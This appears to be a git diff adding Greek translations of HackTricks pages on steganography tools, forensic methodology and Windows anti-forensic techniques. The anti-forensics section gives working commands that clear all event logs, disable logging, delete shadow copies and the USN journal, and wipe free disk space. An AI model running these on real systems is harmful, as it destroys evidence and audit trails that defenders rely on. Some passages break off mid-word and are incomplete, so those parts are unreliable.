||||||
|
### **Foremost**
|
||||||
|
|
||||||
|
Ανακτά αρχεία με βάση τα headers και footers τους, χρήσιμο για εικόνες png. Εγκαθίσταται μέσω `apt` με την πηγή του στο [GitHub](https://github.com/korczis/foremost).
|
||||||
|
```bash
|
||||||
|
foremost -i file # Extracts data
|
||||||
|
```
|
||||||
|
### **Exiftool**
|
||||||
|
|
||||||
|
Βοηθάει στην προβολή μεταδεδομένων αρχείων, διαθέσιμο [εδώ](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
|
||||||
|
```bash
|
||||||
|
exiftool file # Shows the metadata
|
||||||
|
```
|
||||||
|
### **Exiv2**
|
||||||
|
|
||||||
|
Παρόμοιο με το exiftool, για προβολή μεταδεδομένων. Εγκατάσταση μέσω `apt`, πηγαίος κώδικας στο [GitHub](https://github.com/Exiv2/exiv2), και έχει μια [επίσημη ιστοσελίδα](http://www.exiv2.org/).
|
||||||
|
```bash
|
||||||
|
exiv2 file # Shows the metadata
|
||||||
|
```
|
||||||
|
### **Αρχείο**
|
||||||
|
|
||||||
|
Αναγνωρίστε τον τύπο του αρχείου με τον οποίο ασχολείστε.
|
||||||
|
|
||||||
|
### **Συμβολοσειρές**
|
||||||
|
|
||||||
|
Εξάγει αναγνώσιμες συμβολοσειρές από αρχεία, χρησιμοποιώντας διάφορες ρυθμίσεις κωδικοποίησης για να φιλτράρει την έξοδο.
|
||||||
|
```bash
|
||||||
|
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||||
|
strings -n 6 file | head -n 20 # First 20 strings
|
||||||
|
strings -n 6 file | tail -n 20 # Last 20 strings
|
||||||
|
strings -e s -n 6 file # 7bit strings
|
||||||
|
strings -e S -n 6 file # 8bit strings
|
||||||
|
strings -e l -n 6 file # 16bit strings (little-endian)
|
||||||
|
strings -e b -n 6 file # 16bit strings (big-endian)
|
||||||
|
strings -e L -n 6 file # 32bit strings (little-endian)
|
||||||
|
strings -e B -n 6 file # 32bit strings (big-endian)
|
||||||
|
```
|
||||||
|
### **Σύγκριση (cmp)**
|
||||||
|
|
||||||
|
Χρήσιμο για τη σύγκριση ενός τροποποιημένου αρχείου με την αρχική του έκδοση που βρέθηκε online.
|
||||||
|
```bash
|
||||||
|
cmp original.jpg stego.jpg -b -l
|
||||||
|
```
|
||||||
|
## **Εξαγωγή Κρυμμένων Δεδομένων σε Κείμενο**
|
||||||
|
|
||||||
|
### **Κρυμμένα Δεδομένα στα Διαστήματα**
|
||||||
|
|
||||||
|
Αόρατοι χαρακτήρες σε φαινομενικά κενά διαστήματα μπορεί να κρύβουν πληροφορίες. Για να εξάγετε αυτά τα δεδομένα, επισκεφθείτε [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder).
|
||||||
|
|
||||||
|
## **Εξαγωγή Δεδομένων από Εικόνες**
|
||||||
|
|
||||||
|
### **Αναγνώριση Λεπτομερειών Εικόνας με το GraphicMagick**
|
||||||
|
|
||||||
|
Το [GraphicMagick](https://imagemagick.org/script/download.php) χρησιμεύει για τον προσδιορισμό τύπων αρχείων εικόνας και την αναγνώριση πιθανής διαφθοράς. Εκτελέστε την παρακάτω εντολή για να επιθεωρήσετε μια εικόνα:
|
||||||
|
```bash
|
||||||
|
./magick identify -verbose stego.jpg
|
||||||
|
```
|
||||||
|
Για να προσπαθήσετε να επισκευάσετε μια φθαρμένη εικόνα, η προσθήκη ενός σχολίου μεταδεδομένων μπορεί να βοηθήσει:
|
||||||
|
```bash
|
||||||
|
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||||
|
```
|
||||||
|
### **Steghide για Απόκρυψη Δεδομένων**
|
||||||
|
|
||||||
|
Το Steghide διευκολύνει την απόκρυψη δεδομένων εντός αρχείων `JPEG, BMP, WAV, και AU`, ικανό για την ενσωμάτωση και εξαγωγή κρυπτογραφημένων δεδομένων. Η εγκατάσταση είναι απλή χρησιμοποιώντας το `apt`, και ο [πηγαίος κώδικας είναι διαθέσιμος στο GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||||
|
|
||||||
|
**Εντολές:**
|
||||||
|
|
||||||
|
* Το `steghide info file` αποκαλύπτει αν ένα αρχείο περιέχει κρυμμένα δεδομένα.
|
||||||
|
* Το `steghide extract -sf file [--passphrase password]` εξάγει τα κρυμμένα δεδομένα, με τον κωδικό πρόσβασης να είναι προαιρετικός.
|
||||||
|
|
||||||
|
Για εξαγωγή μέσω ιστοσελίδας, επισκεφθείτε [αυτή την ιστοσελίδα](https://futureboy.us/stegano/decinput.html).
|
||||||
|
|
||||||
|
**Επίθεση Βίας με το Stegcracker:**
|
||||||
|
|
||||||
|
* Για να δοκιμάσετε την αποκρυπτογράφηση κωδικών πρόσβασης στο Steghide, χρησιμοποιήστε το [stegcracker](https://github.com/Paradoxis/StegCracker.git) ως εξής:
|
||||||
|
```bash
|
||||||
|
stegcracker <file> [<wordlist>]
|
||||||
|
```
|
||||||
|
### **zsteg για αρχεία PNG και BMP**
|
||||||
|
|
||||||
|
Το zsteg εξειδικεύεται στην αποκάλυψη κρυμμένων δεδομένων σε αρχεία PNG και BMP. Η εγκατάσταση γίνεται μέσω `gem install zsteg`, με την [πηγή του στο GitHub](https://github.com/zed-0xff/zsteg).
|
||||||
|
|
||||||
|
**Εντολές:**
|
||||||
|
|
||||||
|
* Το `zsteg -a file` εφαρμόζει όλες τις μεθόδους ανίχνευσης σε ένα αρχείο.
|
||||||
|
* Το `zsteg -E file` καθορίζει ένα φορτίο για την εξαγωγή δεδομένων.
|
||||||
|
|
||||||
|
### **StegoVeritas και Stegsolve**
|
||||||
|
|
||||||
|
Το **stegoVeritas** ελέγχει τα μεταδεδομένα, εκτελεί μετασχηματισμούς εικόνας και εφαρμόζει αναζήτηση με τη μέθοδο LSB μεταξύ άλλων χαρακτηριστικών. Χρησιμοποιήστε `stegoveritas.py -h` για μια πλήρη λίστα επιλογών και `stegoveritas.py stego.jpg` για να εκτελέσετε όλους τους ελέγχους.
|
||||||
|
|
||||||
|
Το **Stegsolve** εφαρμόζει διάφορα φίλτρα χρωμάτων για να αποκαλύψει κρυμμένα κείμενα ή μηνύματα μέσα σε εικόνες. Είναι διαθέσιμο στο [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||||
|
|
||||||
|
### **FFT για Ανίχνευση Κρυμμένου Περιεχομένου**
|
||||||
|
|
||||||
|
Οι τεχνικές Fast Fourier Transform (FFT) μπορούν να αποκαλύψουν κρυμμένο περιεχόμενο σε εικόνες. Χρήσιμοι πόροι περιλαμβάνουν:
|
||||||
|
|
||||||
|
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||||
|
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||||
|
* [FFTStegPic στο GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||||
|
|
||||||
|
### **Stegpy για Αρχεία Ήχου και Εικόνας**
|
||||||
|
|
||||||
|
Το Stegpy επιτρέπει την ενσωμάτωση πληροφοριών σε αρχεία εικόνας και ήχου, υποστηρίζοντας μορφές όπως PNG, BMP, GIF, WebP και WAV. Είναι διαθέσιμο στο [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||||
|
|
||||||
|
### **Pngcheck για Ανάλυση Αρχείων PNG**
|
||||||
|
|
||||||
|
Για να αναλύσετε αρχεία PNG ή να επιβεβαιώσετε την αυθεντικότητά τους, χρησιμοποιήστε:
|
||||||
|
```bash
|
||||||
|
apt-get install pngcheck
|
||||||
|
pngcheck stego.png
|
||||||
|
```
|
||||||
|
### **Επιπρόσθετα Εργαλεία για Ανάλυση Εικόνων**
|
||||||
|
|
||||||
|
Για περαιτέρω εξερεύνηση, εξετάστε την επίσκεψη:
|
||||||
|
|
||||||
|
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||||
|
* [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||||
|
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||||
|
* [OpenStego](https://www.openstego.com/)
|
||||||
|
* [DIIT](https://diit.sourceforge.net/)
|
||||||
|
|
||||||
|
## **Εξαγωγή Δεδομένων από Ήχους**
|
||||||
|
|
||||||
|
Η **ακουστική στεγανογραφία** προσφέρει ένα μοναδικό τρόπο για την κρυψοκάλυψη πληροφορι
|
||||||
|
```bash
|
||||||
|
ffmpeg -v info -i stego.mp3 -f null -
|
||||||
|
```
|
||||||
|
### **WavSteg (WAV)**
|
||||||
|
|
||||||
|
Το WavSteg ξεχωρίζει στην απόκρυψη και εξαγωγή δεδομένων μέσα σε αρχεία WAV χρησιμοποιώντας τη στρατηγική του λιγότερο σημαντικού bit. Είναι προσβάσιμο στο [GitHub](https://github.com/ragibson/Steganography#WavSteg). Οι εντολές περιλαμβάνουν:
|
||||||
|
```bash
|
||||||
|
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||||
|
|
||||||
|
python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
||||||
|
```
|
||||||
|
### **Deepsound**
|
||||||
|
|
||||||
|
Το Deepsound επιτρέπει την κρυπτογράφηση και ανίχνευση πληροφοριών μέσα σε αρχεία ήχου χρησιμοποιώντας το AES-256. Μπορεί να ληφθεί από [την επίσημη σελίδα](http://jpinsoft.net/deepsound/download.aspx).
|
||||||
|
|
||||||
|
### **Sonic Visualizer**
|
||||||
|
|
||||||
|
Ένα ανεκτίμητο εργαλείο για οπτική και αναλυτική επιθεώρηση αρχείων ήχου, το Sonic Visualizer μπορεί να αποκαλύψει κρυμμένα στοιχεία που δεν είναι ανιχνεύσιμα με άλλα μέσα. Επισκεφθείτε τη [επίσημη ιστοσελίδα](https://www.sonicvisualiser.org/) για περισσότερες πληροφορίες.
|
||||||
|
|
||||||
|
### **DTMF Tones - Ήχοι Κλήσης**
|
||||||
|
|
||||||
|
Η ανίχνευση των ήχων DTMF σε αρχεία ήχου μπορεί να επιτευχθεί μέσω online εργαλείων όπως αυτό το [ανιχνευτή DTMF](https://unframework.github.io/dtmf-detect/) και το [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||||
|
|
||||||
|
## **Άλλες Τεχνικές**
|
||||||
|
|
||||||
|
### **Δυαδικό Μήκος SQRT - QR Code**
|
||||||
|
|
||||||
|
Δεδομένα που αντιστοιχούν σε έναν ακέραιο αριθμό όταν υψώνονται στο τετράγωνο ενδέχεται να αντιπροσωπεύουν έναν κωδικό QR. Χρησιμοποιήστε αυτό το απόσπασμα για έλεγχο:
|
||||||
|
```python
|
||||||
|
import math
|
||||||
|
math.sqrt(2500) #50
|
||||||
|
```
|
||||||
|
### **Μετάφραση Braille**
|
||||||
|
|
||||||
|
Για τη μετάφραση Braille, το [Branah Braille Translator](https://www.branah.com/braille-translator) είναι ένα εξαιρετικό εργαλείο.
|
||||||
|
|
||||||
|
## **Αναφορές**
|
||||||
|
|
||||||
|
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||||
|
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||||
|
|
||||||
|
**Ομάδα Ασφαλείας Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,96 @@
|
||||||
|
# Βασική Μεθοδολογία Εγκληματολογικής Εξέτασης
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Συμμετάσχετε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Δημιουργία και Προσάρτηση Εικόνας
|
||||||
|
|
||||||
|
{% content-ref url="../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md" %}
|
||||||
|
[image-acquisition-and-mount.md](../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Ανάλυση Κακόβουλου Λογισμικού
|
||||||
|
|
||||||
|
Αυτό **δεν είναι απαραίτητο το πρώτο βήμα που πρέπει να γίνει μόλις έχετε την εικόνα**. Ωστόσο, μπορείτε να χρησιμοποιήσετε αυτές τις τεχνικές ανάλυσης κακόβουλου λογισμικού ανεξάρτητα αν έχετε ένα αρχείο, μια εικόνα αρχείου συστήματος, μια εικόνα μνήμης, pcap... οπότε είναι καλό να **έχετε αυτές τις ενέργειες υπόψη**:
|
||||||
|
|
||||||
|
{% content-ref url="malware-analysis.md" %}
|
||||||
|
[malware-analysis.md](malware-analysis.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Επιθεώρηση μιας Εικόνας
|
||||||
|
|
||||||
|
Αν σας δίνεται μια **εγκληματολογική εικόνα** ενός συσκευής, μπορείτε να αρχίσετε να **αναλύετε τις διαμερίσματα, το αρχείο-σύστημα** που χρησιμοποιήθηκε και να **ανακτήσετε** πιθανώς **ενδιαφέροντα αρχεία** (ακόμα και διαγραμμένα). Μάθετε πώς στο:
|
||||||
|
|
||||||
|
{% content-ref url="partitions-file-systems-carving/" %}
|
||||||
|
[partitions-file-systems-carving](partitions-file-systems-carving/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
Ανάλογα με τα χρησιμοποιούμενα λειτουργικά συστήματα και ακόμα και πλατφόρμες, πρέπει να αναζητηθούν διάφορα ενδιαφέροντα στοιχεία:
|
||||||
|
|
||||||
|
{% content-ref url="windows-forensics/" %}
|
||||||
|
[windows-forensics](windows-forensics/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
{% content-ref url="linux-forensics.md" %}
|
||||||
|
[linux-forensics.md](linux-forensics.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
{% content-ref url="docker-forensics.md" %}
|
||||||
|
[docker-forensics.md](docker-forensics.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Εμβάθυνση σε συγκεκριμένους τύπους αρχείων και Λογισμικό
|
||||||
|
|
||||||
|
Αν έχετε ένα πολύ **ύποπτο αρχείο**, τότε, **ανάλογα με τον τύπο αρχείου και το λογισμικό** που το δημιούργησε, μπορεί να είναι χρήσιμα διάφορα **κόλπα**.\
|
||||||
|
Διαβάστε την παρακάτω σελίδα για να μάθετε μερικά ενδιαφέροντα κόλπα:
|
||||||
|
|
||||||
|
{% content-ref url="specific-software-file-type-tricks/" %}
|
||||||
|
[specific-software-file-type-tricks](specific-software-file-type-tricks/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
Θέλω να κάνω μια ειδική αναφορά στη σελίδα:
|
||||||
|
|
||||||
|
{% content-ref url="specific-software-file-type-tricks/browser-artifacts.md" %}
|
||||||
|
[browser-artifacts.md](specific-software-file-type-tricks/browser-artifacts.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Επιθεώρηση Αντιγράφου Μνήμης
|
||||||
|
|
||||||
|
{% content-ref url="memory-dump-analysis/" %}
|
||||||
|
[memory-dump-analysis](memory-dump-analysis/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Επιθεώρηση Pcap
|
||||||
|
|
||||||
|
{% content-ref url="pcap-inspection/" %}
|
||||||
|
[pcap-inspection](pcap-inspection/)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## **Τεχνικές Αντι-Εγκληματολογικής Ανάλυσης**
|
||||||
|
|
||||||
|
Να έχετε υπόψη την πιθανή χρήση τεχνικών αντι-εγκληματολογικής ανάλυσης:
|
||||||
|
|
||||||
|
{% content-ref url="anti-forensic-techniques.md" %}
|
||||||
|
[anti-forensic-techniques.md](anti-forensic-techniques.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Κυνήγι Απειλών
|
||||||
|
|
||||||
|
{% content-ref url="file-integrity-monitoring.md" %}
|
||||||
|
[file-integrity-monitoring.md](file-integrity-monitoring.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε π
|
|
@ -0,0 +1,113 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο github.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
# Χρονικές σημάνσεις
|
||||||
|
|
||||||
|
Ένας επιτιθέμενος μπορεί να ενδιαφέρεται να **αλλάξει τις χρονικές σημάνσεις των αρχείων** για να αποφύγει την ανίχνευσή του.\
|
||||||
|
Είναι δυνατόν να βρεθούν οι χρονικές σημάνσεις μέσα στο MFT στα χαρακτηριστικά `$STANDARD_INFORMATION` __και__ __`$FILE_NAME`.
|
||||||
|
|
||||||
|
Και τα δύο χαρακτηριστικά έχουν 4 χρονικές σημάνσεις: **Τροποποίηση**, **πρόσβαση**, **δημιουργία** και **τροποποίηση καταγραφής MFT** (MACE ή MACB).
|
||||||
|
|
||||||
|
Ο **Windows explorer** και άλλα εργαλεία εμφανίζουν τις πληροφορίες από το **`$STANDARD_INFORMATION`**.
|
||||||
|
|
||||||
|
## TimeStomp - Εργαλείο αντι-ανακριτικής
|
||||||
|
|
||||||
|
Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες των χρονικών σημάνσεων μέσα στο **`$STANDARD_INFORMATION`** **αλλά όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **ανιχνευθεί** **ύποπτη** **δραστηριότητα**.
|
||||||
|
|
||||||
|
## Usnjrnl
|
||||||
|
|
||||||
|
Το **USN Journal** (Update Sequence Number Journal) είναι μια λειτουργία του NTFS (σύστημα αρχείων Windows NT) που καταγράφει τις αλλαγές του όγκου. Το εργαλείο [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) επιτρέπει την εξέταση αυτών των αλλαγών.
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (449).png>)
|
||||||
|
|
||||||
|
Η προηγούμενη εικόνα είναι το **αποτέλεσμα** που εμφανίζεται από το **εργαλείο** όπου μπορεί να παρατηρηθεί ότι έγιναν κάποιες **αλλαγές** στο αρχείο.
|
||||||
|
|
||||||
|
## $LogFile
|
||||||
|
|
||||||
|
**Όλες οι αλλαγές μεταδεδομένων σε ένα σύστημα αρχείων καταγράφονται** σε ένα διαδικασία που ονομάζεται [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Τα καταγεγραμμένα μεταδεδομένα κρατούνται σε ένα αρχείο με το όνομα `**$LogFile**`, που βρίσκεται στον ριζικό κατάλογο ενός συστήματος αρχείων NTFS. Εργαλεία όπως το [LogFileParser](https://github.com/jschicht/LogFileParser) μπορούν να χρησιμοποιηθούν για να αναλύσουν αυτό το αρχείο και να ανιχνεύσουν αλλαγές.
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (450).png>)
|
||||||
|
|
||||||
|
Και πάλι, στην έξοδο του εργαλείου είναι δυνατόν να δείτε ότι **έγιναν κάποιες αλλαγές**.
|
||||||
|
|
||||||
|
Χρησιμοποιώντας το ίδιο εργαλείο είναι δυνατόν να ανιχνευθεί σε **ποια χρονική στιγμή τροποποιήθηκαν οι χρονικές σημάνσεις**:
|
||||||
|
|
||||||
|
![](<../../.gitbook/assets/image (451).png>)
|
||||||
|
|
||||||
|
* CTIME: Χρόνος δημιουργίας του αρχείου
|
||||||
|
* ATIME: Χρόνος τροποποίησης του αρχείου
|
||||||
|
* MTIME: Χρόνος τροποποίησης του μητρώου MFT του αρχείου
|
||||||
|
* RTIME: Χρόνος πρόσβασης στο αρχείο
|
||||||
|
|
||||||
|
## Σύγκριση `$STANDARD_INFORMATION` και `$FILE_NAME`
|
||||||
|
|
||||||
|
Ένας άλλος τ
|
||||||
|
## Διαγραφή Ιστορικού USB
|
||||||
|
|
||||||
|
Όλες οι **καταχωρήσεις συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR**, το οποίο περιέχει υποκλειδιά που δημιουργούνται κάθε φορά που συνδέετε μια συσκευή USB στον υπολογιστή ή το laptop σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό**, θα διαγράψετε το ιστορικό USB.\
|
||||||
|
Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb\_devices\_view.html) για να είστε βέβαιοι ότι τα έχετε διαγράψει (και για να τα διαγράψετε).
|
||||||
|
|
||||||
|
Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τις USB είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό πρέπει επίσης να διαγραφεί.
|
||||||
|
|
||||||
|
## Απενεργοποίηση Αντιγράφων Σκιάς
|
||||||
|
|
||||||
|
**Λίστα** αντιγράφων σκιάς με την εντολή `vssadmin list shadowstorage`\
|
||||||
|
**Διαγραφή** τους με την εντολή `vssadmin delete shadow`
|
||||||
|
|
||||||
|
Μπορείτε επίσης να τα διαγράψετε μέσω του γραφικού περιβάλλοντος ακολουθώντας τα βήματα που προτείνονται στην [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||||
|
|
||||||
|
Για να απενεργοποιήσετε τα αντίγραφα σκιάς [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||||
|
|
||||||
|
1. Ανοίξτε το πρόγραμμα Υπηρεσιών πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά από κλικ στο κουμπί Έναρξη των Windows.
|
||||||
|
2. Από τη λίστα, βρείτε την "Volume Shadow Copy", επιλέξτε την και στη συνέχεια αποκτήστε πρόσβαση στις Ιδιότητες κάνοντας δεξί κλικ.
|
||||||
|
3. Επιλέξτε την επιλογή "Disabled" από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και ΟΚ.
|
||||||
|
|
||||||
|
Είναι επίσης δυνατή η τροποποίηση της διαμόρφωσης των αρχείων που θα αντιγραφούν στο αντίγραφο σκιάς στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||||
|
|
||||||
|
## Αντικατάσταση διαγραμμένων αρχείων
|
||||||
|
|
||||||
|
* Μπορείτε να χρησιμοποιήσετε ένα **εργαλείο των Windows**: `cipher /w:C` Αυτό θα οδηγήσει το cipher να αφαιρέσει οποιαδήποτε δεδομένα από το διαθέσιμο αχρησιμοποίητο χώρο στον δίσκο C.
|
||||||
|
* Μπορείτε επίσης να χρησιμοποιήσετε εργαλεία όπως το [**Eraser**](https://eraser.heidi.ie)
|
||||||
|
|
||||||
|
## Διαγραφή αρχείων καταγραφής συμβάντων των Windows
|
||||||
|
|
||||||
|
* Windows + R --> eventvwr.msc --> Ανάπτυξη "Καταγραφές των Windows" --> Δεξί κλικ σε κάθε κατηγορία και επιλογή "Εκκαθάριση καταγραφής"
|
||||||
|
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||||
|
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||||
|
|
||||||
|
## Απενεργοποίηση καταγραφής συμβάντων των Windows
|
||||||
|
|
||||||
|
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||||
|
* Εντός της ενότητας υπηρεσιών, απενεργοποιήστε την υπηρεσία "Windows Event Log"
|
||||||
|
* `WEvtUtil.exec clear-log` ή `WEvtUtil.exe cl`
|
||||||
|
|
||||||
|
## Απενεργοποίηση $UsnJrnl
|
||||||
|
|
||||||
|
* `fsutil usn deletejournal /d c:`
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||||
|
|
||||||
|
